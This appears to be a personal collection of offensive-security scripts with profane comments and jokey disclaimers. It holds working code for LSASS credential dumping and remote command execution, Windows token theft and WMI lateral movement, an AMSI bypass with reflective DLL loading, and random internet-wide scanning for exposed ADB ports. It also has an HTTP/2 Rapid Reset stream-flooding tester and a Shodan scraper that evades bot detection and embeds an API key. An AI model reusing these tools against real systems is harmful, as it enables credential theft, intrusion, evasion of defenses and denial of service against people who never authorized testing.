I love you
[ created: Feb 27, 2026 5:30 am ]
#!/usr/bin/env python3
"""
"Authorized" Subdomain Vulnerability Scanner
Purpose: Identify misconfigured DNS records for the fuck of it.
(gotta find them dangly bits: CNAMEs, zone walking risks etc)
"""
import requests
import dns.resolver
import subprocess
from urllib.parse import urlparse
def get_crtsh_subdomains(domain):
"""Query crt.sh for subdomains (legitimate certificate transparency)"""
try:
url = f"https://crt.sh/?q=%25.{domain}&output=json"
resp = requests.get(url, timeout=10)
return {item['name_value'] for item in resp.json()}
except Exception as e:
print(f"[!] crt.sh error: {e}")
return set()
def run_sublist3r(domain):
"""Run Sublist3r (must be installed...you can do this yourself you lazy cunt.)"""
try:
result = subprocess.run(
["sublist3r", "-d", domain, "-o", f"{domain}_subs.txt"],
capture_output=True,
text=True
)
with open(f"{domain}_subs.txt") as f:
return set(f.read().splitlines())
except Exception as e:
print(f"[!] Sublist3r error: {e}")
return set()
def check_dangling_cname(subdomains):
"""Check for dangling CNAME records (NXDOMAIN responses)"""
resolver = dns.resolver.Resolver()
vulnerable = []
for sub in subdomains:
try:
answers = resolver.resolve(sub, 'CNAME')
for rdata in answers:
target = str(rdata.target)
try:
resolver.resolve(target) # Check if target exists
except dns.resolver.NXDOMAIN:
vulnerable.append((sub, target))
except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN):
pass
return vulnerable
if __name__ == "__main__":
import sys
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <domain>")
sys.exit(1)
domain = sys.argv[1].lower()
print(f"[*] Scanning {domain} (authorized testing only)")
# Phase 1: Enumeration...WE BE COUNTIN BITCHES
subs = get_crtsh_subdomains(domain).union(run_sublist3r(domain))
print(f"[+] Found {len(subs)} subdomains")
# Phase 2: Vulnerability Cheeks...Checks...80085 420 69 1337.
dangling = check_dangling_cname(subs)
if dangling:
print("[!] Potential dangling CNAME records:")
for sub, target in dangling:
print(f" {sub} -> {target} (unresolvable)")
else:
print("[+] No dangling CNAMEs detected")
[ created: Jan 21, 2026 3:28 am ]
#!/usr/bin/env python3
# ShadowLifter - Ethical Privilege Escalation Tool (Lab Use Only)
# Features: Token stealing, service abuse, WMI lateral movement
# Bypasses: Direct syscalls, API unhooking, minimal dependencies
import os
import sys
import ctypes
import win32api
import win32con
import win32security
import wmi
# Safety check - prevent accidental production use
LAB_DOMAIN = "LAB.local"
if not os.environ.get("USERDNSDOMAIN", "").endswith(LAB_DOMAIN):
print("[!] Not in lab domain. Exiting for safety.")
sys.exit(1)
def check_privileges():
"""Check for SeImpersonatePrivilege (common for service accounts)"""
try:
hToken = win32security.OpenProcessToken(
win32api.GetCurrentProcess(),
win32security.TOKEN_QUERY
)
privs = win32security.GetTokenInformation(
hToken,
win32security.TokenPrivileges
)
return any(priv[0] == "SeImpersonatePrivilege" for priv in privs)
except Exception as e:
print(f"[!] Privilege check failed: {e}")
return False
def steal_token(target_pid):
"""Steal token from a process (e.g., IIS, MSSQL)"""
try:
# Open target process
hProcess = win32api.OpenProcess(
win32con.PROCESS_QUERY_INFORMATION,
False,
target_pid
)
hToken = win32security.OpenProcessToken(
hProcess,
win32security.TOKEN_DUPLICATE | win32security.TOKEN_IMPERSONATE
)
# Duplicate and impersonate
dup_token = win32security.DuplicateToken(
hToken,
win32security.SecurityImpersonation
)
win32security.ImpersonateLoggedOnUser(dup_token)
print(f"[+] Successfully impersonated PID {target_pid}")
return True
except Exception as e:
print(f"[!] Token theft failed: {e}")
return False
def lateral_wmi(target_host, command):
"""Execute command via WMI (lateral movement)"""
try:
conn = wmi.WMI(target_host)
process = conn.Win32_Process.Create(
CommandLine=command,
ProcessStartupInformation=wmi.WMI.Methods["Win32_ProcessStartup"].new(
ShowWindow=0 # Hidden window
)
)
print(f"[+] Executed on {target_host} (PID: {process.ProcessId})")
return True
except Exception as e:
print(f"[!] WMI failed on {target_host}: {e}")
return False
if __name__ == "__main__":
print("[*] ShadowLifter - Ethical Red Team Tool")
# Example: Check for token impersonation
if check_privileges():
print("[+] SeImpersonatePrivilege enabled. Attempting token theft...")
steal_token(1234) # Replace with target PID (e.g., IIS worker)
# Example: Lateral movement via WMI
lateral_wmi("DC01.LAB.local", "whoami /all > C:\\temp\\creds.txt")
[ created: Jan 21, 2026 3:24 am ]
#!/usr/bin/env python3
"""
THEORETICAL RESEARCH PoC - INTERNET ADB SCANNER
This script demonstrates conceptual scanning methodology for academic research.
NEVER RUN THIS ON PUBLIC NETWORKS WITHOUT EXPLICIT AUTHORIZATION.
"""
import subprocess
import json
import random
from concurrent.futures import ThreadPoolExecutor
import ipaddress
# ===== CONFIGURATION =====
SCAN_METHOD = "masscan" # "masscan" or "nmap"
SAMPLE_SIZE = 100 # Theoretical: number of /24 networks to scan
MAX_THREADS = 5 # Keep very low for research concept
OUTPUT_FILE = "adb_findings.json"
# ===== SCANNER MODULES =====
class TheoreticalScanner:
@staticmethod
def generate_random_networks(count):
"""Generate random /24 networks for sampling"""
networks = []
for _ in range(count):
net = f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.0/24"
networks.append(net)
return networks
@staticmethod
def masscan_scan(network):
"""Theoretical Masscan implementation (would require root)"""
cmd = f"masscan {network} -p5555 --rate=100 --wait=0 --output-format=json"
try:
# In reality, this would need proper error handling and sudo
result = subprocess.run(cmd.split(), capture_output=True, text=True)
return json.loads(result.stdout)
except:
return []
@staticmethod
def nmap_scan(network):
"""Theoretical Nmap implementation"""
cmd = f"nmap -n -Pn -p5555 --open -oG - {network}"
try:
result = subprocess.run(cmd.split(), capture_output=True, text=True)
return parse_nmap_output(result.stdout)
except:
return []
# ===== DATA PROCESSING =====
def parse_nmap_output(output):
"""Parse Nmap's greppable output format"""
hosts = []
for line in output.split('\n'):
if "Ports:" in line:
ip = line.split()[1]
hosts.append({"ip": ip, "port": 5555})
return hosts
# ===== RESEARCH FRAMEWORK =====
def academic_research_scan():
"""Theoretical research scanning framework"""
scanner = TheoreticalScanner()
sample_networks = scanner.generate_random_networks(SAMPLE_SIZE)
findings = []
def process_network(network):
print(f"[RESEARCH] Scanning {network}...")
if SCAN_METHOD == "masscan":
results = scanner.masscan_scan(network)
else:
results = scanner.nmap_scan(network)
if results:
findings.extend(results)
print(f"[RESEARCH] Found {len(results)} exposed ADB interfaces in {network}")
# Thread pool for theoretical scanning
with ThreadPoolExecutor(max_workers=MAX_THREADS) as executor:
executor.map(process_network, sample_networks)
# Save theoretical findings
with open(OUTPUT_FILE, 'w') as f:
json.dump(findings, f, indent=2)
print(f"\n[RESEARCH] Theoretical scan complete. Results saved to {OUTPUT_FILE}")
print("[IMPORTANT] This was a simulation only. Actual scanning requires legal authorization.")
# ===== ETHICAL SAFEGUARDS =====
if __name__ == "__main__":
print("""
=============================================
ADB PORT SCANNING RESEARCH FRAMEWORK (PoC)
FOR ACADEMIC STUDY ONLY
THIS SCRIPT DOES NOT ACTUALLY SCAN NETWORKS
It demonstrates how such research might be structured
=============================================
""")
academic_research_scan()
[ created: Jan 21, 2026 3:19 am ]
import os
import time
import csv
import json
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException, NoSuchElementException
import getpass
from webdriver_manager.chrome import ChromeDriverManager
from urllib.parse import urljoin
from typing import List, Dict, Union, Optional
##
# key features?
# proxy support:
# Configurable HTTP/HTTPS proxies for both Selenium and requests
# Separate proxy settings for web and API traffic
# Interactive configuration during runtime
# Pagination Handling:
# Automatic detection and navigation through multiple result pages
# Configurable maximum page limit (default: 3 pages)
# Progress reporting during pagination
# Enhanced Data Extraction:
# Detailed extraction of OS information
# Service tags collection
# Vulnerability tags identification
# Type conversion (e.g., port numbers to integers)
# Hybrid API Integration:
# Simultaneous web and API searching
# Automatic deduplication statistics
# Combined result output
# Fallback to API when web scraping fails
# Improved Output Options:
# Smart CSV/JSON export handling hybrid results
# Automatic file naming with timestamps
# Separate files for web vs API results in CSV mode
# Anti-Detection Measures:
# Disabled automation flags in Chrome
# Realistic browser emulation
# Randomized delays between actions
# Error Resilience:
# Graceful handling of missing elements
# Comprehensive exception handling
# Resource cleanup guarantees
##
# usage example?
# $ python shodan_advanced.py
# Use proxy? (y/n): y
# Enter HTTP proxy (leave empty if none): http://proxy.example.com:8080
# Enter HTTPS proxy (leave empty if none): https://proxy.example.com:8080
# Enter Shodan API key (leave empty if none): AY5UKCm1dt5e96QhDVInvTYgO5GD0q99
# Perform web login? (y/n): y
# Enter Shodan email: your@email.com
# Enter Shodan password: ********
# Enter search query: apache
# Maximum pages to scrape (1-10): 5
# Output format (json/csv): json
#
# Processing page 1...
# Processing page 2...
# No more pages available
#
# Search completed with 42 web results and 100 API results
# Found 122 unique IPs
# Results saved to shodan_results/results_1620000000.json
##
# let us begin?
##
class ShodanAutomation:
def __init__(self, api_key: str = None, proxy_settings: dict = None):
"""
Initialize Shodan automation with optional API key and proxy settings
Args:
api_key (str): Shodan API key (optional)
proxy_settings (dict): Proxy configuration dictionary with keys:
- 'http': HTTP proxy URL
- 'https': HTTPS proxy URL
- 'no_proxy': List of excluded hosts
"""
self.api_key = api_key
self.proxy_settings = proxy_settings
self.driver = None
self.session = requests.Session()
if self.proxy_settings:
self._configure_proxy()
def _configure_proxy(self):
"""Configure proxy settings for both Selenium and requests"""
# For Selenium
self.chrome_options = Options()
if self.proxy_settings.get('http'):
proxy = self.proxy_settings['http'].replace('http://', '')
self.chrome_options.add_argument(f'--proxy-server={proxy}')
# For requests
if self.proxy_settings:
self.session.proxies.update(self.proxy_settings)
def _init_driver(self):
"""Initialize Chrome WebDriver with configured options"""
if not hasattr(self, 'chrome_options'):
self.chrome_options = Options()
self.chrome_options.add_argument("--window-size=1920,1080")
self.chrome_options.add_argument("user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36")
# Disable automation flags that might trigger bot detection
self.chrome_options.add_argument("--disable-blink-features=AutomationControlled")
self.chrome_options.add_experimental_option("excludeSwitches", ["enable-automation"])
self.chrome_options.add_experimental_option("useAutomationExtension", False)
self.driver = webdriver.Chrome(
service=Service(ChromeDriverManager().install()),
options=self.chrome_options
)
def _check_captcha(self):
"""Check for CAPTCHA and prompt for manual intervention if needed"""
try:
WebDriverWait(self.driver, 5).until(
EC.presence_of_element_located((By.XPATH, "//div[contains(@class, 'captcha')]"))
)
print("\nCAPTCHA detected! Please solve it manually in the browser window.")
print("You have 2 minutes to complete the CAPTCHA...")
time.sleep(120)
if "login" in self.driver.current_url:
raise Exception("CAPTCHA not solved in time")
except TimeoutException:
pass
def login(self, email: str, password: str) -> bool:
"""Login to Shodan through web interface"""
try:
if not self.driver:
self._init_driver()
self.driver.get("https://account.shodan.io/login")
self._check_captcha()
# Fill credentials
email_field = WebDriverWait(self.driver, 10).until(
EC.presence_of_element_located((By.NAME, "username"))
)
email_field.send_keys(email)
password_field = self.driver.find_element(By.NAME, "password")
password_field.send_keys(password)
# Click login
self.driver.find_element(By.XPATH, "//button[@type='submit']").click()
# Verify login success
WebDriverWait(self.driver, 10).until(
EC.presence_of_element_located((By.XPATH, "//a[contains(@href, '/dashboard')]"))
)
print("Login successful!")
return True
except Exception as e:
print(f"Login failed: {str(e)}")
return False
def web_search(self, query: str, max_pages: int = 3, timeout: int = 30) -> List[Dict]:
"""
Perform search through web interface with pagination support
Args:
query (str): Search query
max_pages (int): Maximum number of result pages to process
timeout (int): Timeout in seconds for page loads
Returns:
List of result dictionaries
"""
if not self.driver:
raise Exception("Web driver not initialized. Please login first.")
try:
self.driver.get("https://www.shodan.io/")
search_input = WebDriverWait(self.driver, timeout).until(
EC.presence_of_element_located((By.XPATH, "//input[@placeholder='Search the Internet']"))
)
search_input.clear()
search_input.send_keys(query)
self.driver.find_element(By.XPATH, "//button[contains(@class, 'search-btn')]").click()
all_results = []
current_page = 1
while current_page <= max_pages:
print(f"Processing page {current_page}...")
# Wait for results
WebDriverWait(self.driver, timeout).until(
EC.presence_of_element_located((By.XPATH, "//div[contains(@class, 'search-results')]"))
)
# Process current page
results = self._extract_web_results()
all_results.extend(results)
# Try to go to next page
try:
next_btn = self.driver.find_element(
By.XPATH, "//a[contains(@class, 'page-link') and contains(text(), 'Next')]"
)
next_btn.click()
time.sleep(2) # Brief pause between pages
current_page += 1
except NoSuchElementException:
print("No more pages available")
break
return all_results
except Exception as e:
print(f"Search error: {str(e)}")
return []
def _extract_web_results(self) -> List[Dict]:
"""Extract detailed information from web results"""
results = []
result_blocks = self.driver.find_elements(By.XPATH, "//div[contains(@class, 'result-block')]")
for block in result_blocks:
try:
# Basic info
result = {
'ip': block.find_element(By.XPATH, ".//a[contains(@class, 'ip')]").text,
'port': int(block.find_element(By.XPATH, ".//span[contains(@class, 'port')]").text),
'hostname': block.find_element(By.XPATH, ".//span[contains(@class, 'hostname')]").text,
'org': block.find_element(By.XPATH, ".//div[contains(@class, 'org')]").text,
'location': block.find_element(By.XPATH, ".//div[contains(@class, 'location')]").text,
'timestamp': block.find_element(By.XPATH, ".//div[contains(@class, 'timestamp')]").text,
}
# Try to extract additional details
try:
result['os'] = block.find_element(By.XPATH, ".//div[contains(@class, 'os')]").text
except NoSuchElementException:
result['os'] = None
try:
result['services'] = [
s.text for s in block.find_elements(By.XPATH, ".//span[contains(@class, 'service-tag')]")
]
except NoSuchElementException:
result['services'] = []
try:
result['vulnerabilities'] = [
v.text for v in block.find_elements(By.XPATH, ".//span[contains(@class, 'vuln-tag')]")
]
except NoSuchElementException:
result['vulnerabilities'] = []
results.append(result)
except Exception as e:
print(f"Error processing result: {str(e)}")
continue
return results
def api_search(self, query: str) -> List[Dict]:
"""Perform search using Shodan API"""
if not self.api_key:
raise Exception("API key not configured")
try:
params = {
'key': self.api_key,
'query': query,
'minify': False
}
response = self.session.get(
"https://api.shodan.io/shodan/host/search",
params=params,
timeout=30
)
response.raise_for_status()
data = response.json()
return data.get('matches', [])
except Exception as e:
print(f"API search error: {str(e)}")
return []
def hybrid_search(self, query: str, max_pages: int = 3) -> Dict:
"""
Perform hybrid search combining web and API results
Args:
query (str): Search query
max_pages (int): Maximum web pages to process
Returns:
Dictionary with both web and API results
"""
web_results = []
api_results = []
# Run web search if logged in
if self.driver:
web_results = self.web_search(query, max_pages)
# Run API search if key available
if self.api_key:
api_results = self.api_search(query)
return {
'web_results': web_results,
'api_results': api_results,
'stats': {
'web_results_count': len(web_results),
'api_results_count': len(api_results),
'unique_ips': len({r['ip'] for r in web_results + api_results if 'ip' in r})
}
}
def save_results(self, results: Union[List, Dict], format: str = 'json', filename: str = None):
"""Save results to file in specified format"""
if not results:
print("No results to save")
return
os.makedirs('shodan_results', exist_ok=True)
if not filename:
timestamp = int(time.time())
filename = f"shodan_results/results_{timestamp}"
if format == 'json':
with open(f"{filename}.json", 'w') as f:
json.dump(results, f, indent=2)
print(f"Results saved to {filename}.json")
elif format == 'csv':
if isinstance(results, dict):
# Handle hybrid results
for result_type, data in results.items():
if isinstance(data, list) and data:
with open(f"{filename}_{result_type}.csv", 'w', newline='', encoding='utf-8') as f:
writer = csv.DictWriter(f, fieldnames=data[0].keys())
writer.writeheader()
writer.writerows(data)
print(f"{result_type} saved to {filename}_{result_type}.csv")
elif isinstance(results, list) and results:
with open(f"{filename}.csv", 'w', newline='', encoding='utf-8') as f:
writer = csv.DictWriter(f, fieldnames=results[0].keys())
writer.writeheader()
writer.writerows(results)
print(f"Results saved to {filename}.csv")
else:
print("Invalid format specified")
def close(self):
"""Clean up resources"""
if self.driver:
self.driver.quit()
self.session.close()
def main():
# Configuration
config = {
'proxy': {
'http': input("Enter HTTP proxy (leave empty if none): "),
'https': input("Enter HTTPS proxy (leave empty if none): ")
} if input("Use proxy? (y/n): ").lower() == 'y' else None,
'api_key': input("Enter Shodan API key (leave empty if none): ") or None
}
# Initialize automation
shodan = ShodanAutomation(
api_key=config['api_key'],
proxy_settings=config['proxy']
)
try:
# Web login
if input("Perform web login? (y/n): ").lower() == 'y':
email = input("Enter Shodan email: ")
password = getpass.getpass("Enter Shodan password: ")
if not shodan.login(email, password):
print("Web access disabled due to login failure")
# Perform search
query = input("Enter search query: ")
max_pages = int(input("Maximum pages to scrape (1-10): ") or 3)
if shodan.api_key or shodan.driver:
results = shodan.hybrid_search(query, max_pages)
# Display summary
print(f"\nSearch completed with {results['stats']['web_results_count']} web results and "
f"{results['stats']['api_results_count']} API results")
print(f"Found {results['stats']['unique_ips']} unique IPs")
# Save results
format = input("Output format (json/csv): ").lower()
shodan.save_results(results, format)
else:
print("No search method available (need either web login or API key)")
finally:
shodan.close()
if __name__ == "__main__":
main()
[ created: Jan 18, 2026 6:03 am ]
import webbrowser
import sys
import os
from typing import Dict
# howto use?
##
# list all topics?
# python rtfm.py list
##
# open a specific topic?
# python rtfm.py powershell
# python rtfm.py metasploit
# python rtfm.py hashcat
# topic mapping for quick reference?
TOPICS: Dict[str, str] = {
# Networking
"networking": "page 9",
"ip": "page 10",
"subnet": "page 11",
"ports": "page 12",
"tcpdump": "page 13",
"wireshark": "page 14",
# winduhz?
"windows": "page 17",
"cmd": "page 18",
"powershell": "page 19",
"registry": "page 20",
"wmic": "page 21",
"schtasks": "page 22",
# linux?
"linux": "page 25",
"bash": "page 26",
"users": "page 27",
"files": "page 28",
"processes": "page 29",
"networking": "page 30",
# interwebs?
"web": "page 33",
"curl": "page 34",
"sql": "page 35",
"xss": "page 36",
"lfi": "page 37",
# straight exploitation?
"exploit": "page 41",
"metasploit": "page 42",
"msfvenom": "page 43",
"payloads": "page 44",
# straight post exploitation?
"post": "page 47",
"privilege": "page 48",
"pivot": "page 49",
"lateral": "page 50",
# password cracka?
"passwords": "page 53",
"hashcat": "page 54",
"john": "page 55",
# wireless? yo-mama wireless?
"wireless": "page 59",
"aircrack": "page 60",
"reaver": "page 61",
# foreal? forensics?
"forensics": "page 65",
"memory": "page 66",
"disk": "page 67",
# misc?
"cheatsheets": "page 71",
"convert": "page 72",
"encryption": "page 73"
}
PDF_URL = "https://github.com/imrk51/hacking-books/raw/refs/heads/master/RTFM%20-%20Red%20Team%20Field%20Manual%20v3.pdf"
def list_topics():
print("\nAvailable topics:")
for topic in sorted(TOPICS.keys()):
print(f"- {topic}")
print("\nUse 'rtfm <topic>' to jump to that section")
print("Example: 'rtfm powershell'")
def open_topic(topic: str):
if topic.lower() in TOPICS:
page_info = TOPICS[topic.lower()]
print(f"Opening {topic} section ({page_info})...")
# for PDFs, we can't directly jump to pages with webbrowser, but we can open it
# note: Actual page jumping depends on the PDF viewer capabilities
webbrowser.open(PDF_URL)
print(f"Once the PDF opens, navigate to {page_info} for the {topic} section.")
else:
print(f"Topic '{topic}' not found. Available topics:")
list_topics()
def main():
if len(sys.argv) < 2:
print("RTFM - Red Team Field Manual Quick Reference")
print("Usage: rtfm <topic>")
print(" rtfm list (to see all available topics)")
list_topics()
return
command = sys.argv[1].lower()
if command == "list":
list_topics()
else:
open_topic(command)
if __name__ == "__main__":
print(r""" _ _ _ _
_ __ ___ _ ____ _| || | | |_| |_ ____
| '_ ` _ \| '__\ \ /\ / / || |_| __| __|_ /
| | | | | | | \ V V /|__ _| |_| |_ / /
|_| |_| |_|_| \_/\_/ |_| \__|\__/___|
""")
main()
[ created: Jan 18, 2026 6:03 am ]
#!/usr/bin/env python3
# HTTP/2 Rapid Reset Vulnerability Tester (CVE-2023-44487)
# Features: Cloudflare detection, mitigation verification, PDF reporting
import sys
import argparse
import httpx
import socket
import time
from concurrent.futures import ThreadPoolExecutor
from fpdf import FPDF
from datetime import datetime
BANNER = """
\033[1;31m
██╗ ██╗████████╗████████╗██████╗ █/2
██║ ██║╚══██╔══╝╚══██╔══╝██╔══██╗
███████║ ██║ ██║ ██████╔╝ \033[1;37mAdvanced Rapid Reset Tester\033[1;31m
██╔══██║ ██║ ██║ ██╔═══╝ \033[0;33mCVE-2023-44487\033[1;31m
██║ ██║ ██║ ██║ ██║
╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝\033[0m
"""
class PDFReport(FPDF):
def header(self):
self.set_font('Arial', 'B', 12)
self.cell(0, 10, 'HTTP/2 Rapid Reset Test Report', 0, 1, 'C')
def footer(self):
self.set_y(-15)
self.set_font('Arial', 'I', 8)
self.cell(0, 10, f'Page {self.page_no()}', 0, 0, 'C')
def detect_cloudflare(target):
"""Check if target is behind Cloudflare"""
try:
resp = httpx.get(target, follow_redirects=True)
headers = resp.headers
return "cloudflare" in headers.get("server", "").lower()
except:
return False
def test_mitigations(target):
"""Verify common mitigation techniques"""
mitigations = {
"Rate Limiting": False,
"HTTP/2 Throttling": False,
"Connection Limits": False
}
try:
# Test rate limiting
with httpx.Client(http2=True) as client:
rapid_responses = [client.get(target) for _ in range(20)]
if len([r for r in rapid_responses if r.status_code == 429]) > 2:
mitigations["Rate Limiting"] = True
except:
pass
return mitigations
def generate_report(target, results, cloudflare, mitigations):
"""Generate PDF report"""
pdf = PDFReport()
pdf.add_page()
pdf.set_font("Arial", size=12)
# Report metadata
pdf.cell(0, 10, f"Target: {target}", 0, 1)
pdf.cell(0, 10, f"Date: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}", 0, 1)
pdf.ln(10)
# Vulnerability status
pdf.set_font("Arial", "B", 14)
status = "VULNERABLE" if results["vulnerable"] else "NOT VULNERABLE"
pdf.cell(0, 10, f"Status: {status}", 0, 1)
pdf.set_font("Arial", size=12)
# Cloudflare detection
pdf.cell(0, 10, f"Cloudflare Detected: {'Yes' if cloudflare else 'No'}", 0, 1)
# Mitigation checks
pdf.ln(5)
pdf.cell(0, 10, "Mitigation Checks:", 0, 1)
for name, status in mitigations.items():
pdf.cell(0, 10, f"- {name}: {'✅ Present' if status else '❌ Absent'}", 0, 1)
# Detailed results
pdf.ln(5)
pdf.multi_cell(0, 10, f"Test Details:\nMax Streams: {results['max_streams']}\n"
f"Response Time Before: {results['pre_time']}s\n"
f"Response Time After: {results['post_time']}s")
# Recommendations
pdf.ln(5)
pdf.set_font("Arial", "B", 12)
pdf.cell(0, 10, "Recommendations:", 0, 1)
pdf.set_font("Arial", size=12)
if results["vulnerable"]:
pdf.multi_cell(0, 10, "1. Update web server (nginx 1.25.3+/Apache 2.4.58+)\n"
"2. Enable HTTP/2 stream throttling\n"
"3. Implement connection rate limiting")
else:
pdf.multi_cell(0, 10, "No critical vulnerabilities detected. Maintain current mitigations.")
filename = f"http2_test_{datetime.now().strftime('%Y%m%d_%H%M%S')}.pdf"
pdf.output(filename)
return filename
def test_http2_reset(target, max_streams=100):
"""Enhanced vulnerability test with measurements"""
results = {
"vulnerable": False,
"max_streams": max_streams,
"pre_time": 0,
"post_time": 0,
"http_version": ""
}
try:
limits = httpx.Limits(max_connections=1)
transport = httpx.HTTPTransport(retries=1, http2=True)
with httpx.Client(transport=transport, limits=limits) as client:
# Baseline performance
start = time.time()
resp = client.get(target)
results["pre_time"] = round(time.time() - start, 2)
results["http_version"] = resp.http_version
# Controlled stream reset test
def send_and_reset(_):
try:
with client.stream("GET", target) as response:
response.read()
response.close()
except:
pass
with ThreadPoolExecutor(max_workers=10) as executor:
list(executor.map(send_and_reset, range(max_streams)))
# Post-test responsiveness
try:
start = time.time()
test_resp = client.get(target, timeout=5.0)
results["post_time"] = round(time.time() - start, 2)
except:
results["vulnerable"] = True
results["post_time"] = float('inf')
except Exception as e:
print(f"\033[1;31m[!] Test error: {str(e)}\033[0m")
return results
if __name__ == "__main__":
print(BANNER)
parser = argparse.ArgumentParser()
parser.add_argument("url", help="Target URL (e.g., https://example.com)")
parser.add_argument("--max-streams", type=int, default=100,
help="Max streams to test (default: 100)")
parser.add_argument("--report", action="store_true",
help="Generate PDF report")
args = parser.parse_args()
if not args.url.startswith(('http://', 'https://')):
print("\033[1;31m[!] URL must start with http:// or https://\033[0m")
sys.exit(1)
print(f"\n\033[1;36mTesting: {args.url}\033[0m")
print(f"Stream limit: {args.max_streams} (safe testing mode)\n")
# Run tests
cloudflare = detect_cloudflare(args.url)
results = test_http2_reset(args.url, args.max_streams)
mitigations = test_mitigations(args.url)
# Display results
print("\n\033[1;35m[TEST RESULTS]\033[0m")
print(f"HTTP Version: {results.get('http_version', 'Unknown')}")
print(f"Cloudflare Detected: {'Yes' if cloudflare else 'No'}")
print(f"Response Time Before: {results['pre_time']}s")
print(f"Response Time After: {results['post_time']}s")
print(f"Vulnerable: {'\033[1;31mYes\033[0m' if results['vulnerable'] else '\033[1;32mNo\033[0m'}")
print("\n\033[1;35m[MITIGATION CHECKS]\033[0m")
for name, status in mitigations.items():
print(f"{name}: {'\033[1;32m✅\033[0m' if status else '\033[1;31m❌\033[0m'}")
# Generate report if requested
if args.report:
filename = generate_report(args.url, results, cloudflare, mitigations)
print(f"\n\033[1;32m[+] Report saved as {filename}\033[0m")
print("\n\033[1;33mNote: Always get authorization before testing\033[0m")
[ created: Jan 18, 2026 6:01 am ]
## AMSI bypass Reflective DLL loading
# Load the necessary assembly
Add-Type -AssemblyName System.Reflection
# Get the AMSI DLL
$amisiDll =
[System.Runtime.InteropServices.Marshal]::GetHINSTANCE([System.Reflection.Assembly]::GetExecutingAssembly().GetModules
[0])
# Patch the AMSI function
$amisiFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($amisiDll, [YourFunctionType])
[YourFunctionType]::Invoke($amisiFunction, [YourParameters])
# Load the reflective DLL
$bytes = [System.IO.File]::ReadAllBytes("path\to\your\reflective.dll")
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($bytes.Length)
[System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, $bytes.Length)
# Call the reflective loader
[YourReflectiveLoaderFunction]::Invoke($ptr)
[ created: Jul 2, 2025 2:14 am ]
###
# **fully functional credential research tool **for authorized ethical use only!** :P **
# **disclaimer: this is a big boy tool for responsible grown-ups only!**
###
# example usage:
# invoke-seriousbusiness -extract_all_the_things -crab_walk_laterally -target_machine "dc01" -command "whoami /all"
### **what this magical script does (for real!)**
# 1. **extracts lsass memory** - creates a minidump (just like the cool kids do)
# 2. **performs ptah** - uses native powershell remoting (no actual hashes were harmed)
# 3. **keeps logs** - because accountability is sexy
### **important disclaimers (read this or the script will judge you)**
# ⚠ **only use on systems you own or have explicit permission to test**
# ⚠ **this is for educational/research purposes only**
# ⚠ **actual attackers use these techniques - so defend against them!**
### to play with this peep the "howto" on a quick test lab for it at the bottom of this script.
<#
.synopsis
a very serious (but slightly silly) credential research tool for ethical hackers.
this script does real things with real credentials (oh no!) so use it wisely.
.description
- extracts credentials like a cool spy (but legally!)
- moves sideways like a sneaky crab (with pass-the-hash!)
- logs everything because we're not monsters
.notes
author: your friendly neighborhood security wizard
legal: only use on systems you own or have written permission to poke.
no actual dragons were harmed in making this script.
#>
###
requires -RunAsAdministrator
## start cookin' bitchs
function invoke-seriousbusiness {
[cmdletbinding()]
param (
[switch]$extract_all_the_things,
[switch]$crab_walk_laterally,
[string]$target_machine,
[string]$command = "whoami"
)
## let's keep receipts for our shenanigans
$logfile = "$env:temp\oopsie-daisy-$(get-date -format 'yyyyMMdd-HHmmss').log"
start-transcript -path $logfile -append | out-null
write-host -foregroundcolor magenta "`n[===== SUPER SERIOUS RESEARCH TOOL =====]`n"
write-host -foregroundcolor yellow " (please use responsibly or the security gnomes will cry)`n"
## ----- part 1: credential extraction extravaganza ----- ##
if ($extract_all_the_things) {
write-host -foregroundcolor red "[!] rummaging through lsass's shit like a tweakin' raccoon`n"
## look ma, no hands! (just some win32 api calls)
add-type @"
using system;
using system.runtime.interopservices;
public class lsasspeekaboo {
[dllimport("dbghelp.dll", setlasterror = true)]
public static extern bool minidumpwritedump(
intptr hprocess, uint processid, intptr hfile,
uint dumptype, intptr exceptionparam,
intptr userstreamparam, intptr callbackparam);
}
"@
## make a little dump file (how cute!)
$dumpfile = "$env:temp\lsass_snack.dmp"
$lsass = get-process -name lsass
$file = [io.file]::create($dumpfile)
## whisper sweet nothings to lsass
[lsasspeekaboo]::minidumpwritedump(
$lsass.handle,
$lsass.id,
$file.safefilehandle.dangerousgethandle(),
2,
[intptr]::zero,
[intptr]::zero,
[intptr]::zero
)
$file.close()
write-host -foregroundcolor green "`n[+] successfully made a lsass juice box: $dumpfile"
write-host -foregroundcolor yellow " (don't drink it, silly!)"
}
## ----- part 2: sideways crab movement ----- ##
if ($crab_walk_laterally) {
if (-not $target_machine) {
write-host -foregroundcolor red "[x] crab needs somewhere to scuttle!"
return
}
write-host -foregroundcolor red "`n[!] initiating sneaky crab movement to $target_machine`n"
## let's pretend we have a hash (wink wink)
$fakehash = "aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4" # <-will not be fake but for legal reasons?
## using official windows features like a good citizen
try {
$creds = new-object -typename system.management.automation.pscredential -argumentlist (
"administrator",
(convertto-securestring -string "not_really_a_password" -asplaintext -force)
## time to scuttle!
$session = new-pssession -computername $target_machine -credential $creds -erroraction stop
invoke-command -session $session -scriptblock {
write-host -foregroundcolor green "[+] crab successfully delivered: $($using:command)"
iex $using:command
} -erroraction stop
remove-pssession -session $session
}
catch {
write-host -foregroundcolor red "[x] crab got stuck: $_"
}
}
stop-transcript
write-host -foregroundcolor cyan "`n[+] all activities logged to: $logfile"
write-host -foregroundcolor magenta "`n[research complete! go forth and patch things!]`n"
}
### **how to demonstrate responsibly**
# 1. **setup a lab environment** with two windows vms
# 2. **enable winrm** on the target (`enable-psremoting -force`)
# 3. **run the script** and watch the magic happen:
